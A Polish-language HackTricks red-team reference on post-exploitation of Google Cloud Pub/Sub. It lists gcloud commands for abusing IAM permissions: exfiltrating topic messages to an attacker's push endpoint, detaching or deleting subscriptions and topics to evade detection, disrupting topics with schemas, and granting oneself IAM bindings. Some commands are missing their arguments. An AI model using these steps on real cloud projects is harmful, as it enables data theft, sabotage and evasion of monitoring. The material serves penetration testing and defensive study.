GCP - Pub/Sub Post Exploitation

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks

Pub/Sub

Aby uzyskać więcej informacji o Pub/Sub, zobacz następującą stronę:

GCP - Pub/Sub Enum

pubsub.topics.publish

Opublikowanie wiadomości w topicu, przydatne do wysyłania nieoczekiwanych danych oraz wywoływania nieoczekiwanych funkcjonalności lub exploit vulnerabilities:

Opublikuj wiadomość w topicu ```bash # Publish a message in a topic gcloud pubsub topics publish --message "Hello!" ```

pubsub.topics.detachSubscription

Przydatne do uniemożliwienia subskrypcji odbierania wiadomości, np. w celu uniknięcia wykrycia.

Odłącz subskrypcję od tematu ```bash gcloud pubsub topics detach-subscription ```

pubsub.topics.delete

Przydatne do uniemożliwienia subskrypcji otrzymywania wiadomości, być może w celu uniknięcia wykrycia.
Możliwe jest usunięcie topicu nawet wtedy, gdy są do niego przypisane subskrypcje.

Usuń topic ```bash gcloud pubsub topics delete ```

pubsub.topics.update

Użyj tego uprawnienia, aby zmienić ustawienia topic w celu jego zakłócenia, np. --clear-schema-settings, --message-retention-duration, --message-storage-policy-allowed-regions, --schema, --schema-project, --topic-encryption-key

pubsub.topics.setIamPolicy

Nadaj sobie uprawnienie do wykonania któregokolwiek z powyższych ataków.

# Add Binding
gcloud pubsub topics add-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Remove Binding
gcloud pubsub topics remove-iam-policy-binding <TOPIC_NAME> \
--member="serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com" \
--role="<ROLE_OR_CUSTOM_ROLE>" \
--project="<PROJECT_ID>"

# Change Policy
gcloud pubsub topics set-iam-policy <TOPIC_NAME> \
<(echo '{
"bindings": [
{
"role": "<ROLE_OR_CUSTOM_ROLE>",
"members": [
"serviceAccount:<SA_NAME>@<PROJECT_ID>.iam.gserviceaccount.com"
]
}
]
}') \
--project=<PROJECT_ID>

pubsub.subscriptions.create,pubsub.topics.attachSubscription , (pubsub.subscriptions.consume)

Pobierz wszystkie wiadomości na serwer WWW:

Utwórz push subscription, aby otrzymywać wiadomości ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```

Utwórz subskrypcję i użyj jej do pobierania wiadomości:

Utwórz subskrypcję typu pull i pobierz wiadomości ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic

You also need pubsub.subscriptions.consume for this

gcloud pubsub subscriptions pull

This command will wait for a message to be posted

</details>

### `pubsub.subscriptions.delete`

**Usunięcie subskrypcji** może być przydatne do zakłócenia systemu przetwarzania logów lub czegoś podobnego:

<details>

<summary>Usuń subskrypcję</summary>
```bash
gcloud pubsub subscriptions delete <FULL SUBSCRIPTION NAME>

pubsub.subscriptions.update

Użyj tego uprawnienia, aby zaktualizować ustawienie tak, aby wiadomości były zapisywane w miejscu, do którego masz dostęp (URL, Big Query table, Bucket), lub aby je po prostu zakłócić.

Punkt końcowy aktualizacji subskrypcji ```bash gcloud pubsub subscriptions update --push-endpoint ```

pubsub.subscriptions.setIamPolicy

Przyznaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej opisanych ataków.

pubsub.schemas.attach, pubsub.topics.update,(pubsub.schemas.create)

Dołącz schema do topic tak, aby messages ich nie spełniały i w efekcie topic został zakłócony.
Jeśli nie ma żadnych schema, może być konieczne utworzenie jednego.

Utwórz plik schema i dołącz do topic ```json:schema.json { "namespace": "com.example", "type": "record", "name": "Person", "fields": [ { "name": "name", "type": "string" }, { "name": "age", "type": "int" } ] } ```
# Attach new schema
gcloud pubsub topics update projects/<project-name>/topics/<topic-id> \
--schema=projects/<project-name>/schemas/<topic-id> \
--message-encoding=json

pubsub.schemas.delete

Może się wydawać, że usunięcie schematu pozwoli na wysyłanie wiadomości, które nie spełniają schematu. Jednakże, ponieważ schemat zostanie usunięty, żadna wiadomość faktycznie nie trafi do tematu. Więc to jest BEZUŻYTECZNE:

Usuń schemat (nieprzydatne) ```bash gcloud pubsub schemas delete ```

pubsub.schemas.setIamPolicy

Nadaj sobie uprawnienia potrzebne do przeprowadzenia któregokolwiek z wcześniej omówionych ataków.

pubsub.snapshots.create, pubsub.snapshots.seek

To utworzy snapshot wszystkich unACKed wiadomości i przywróci je do subskrypcji. Niezbyt przydatne dla atakującego, ale oto:

Utwórz snapshot i wykonaj do niego seek ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME gcloud pubsub subscriptions seek YOUR_SUBSCRIPTION_NAME \ --snapshot=YOUR_SNAPSHOT_NAME ```

Tip

Ucz się & ćwicz AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Wspieraj HackTricks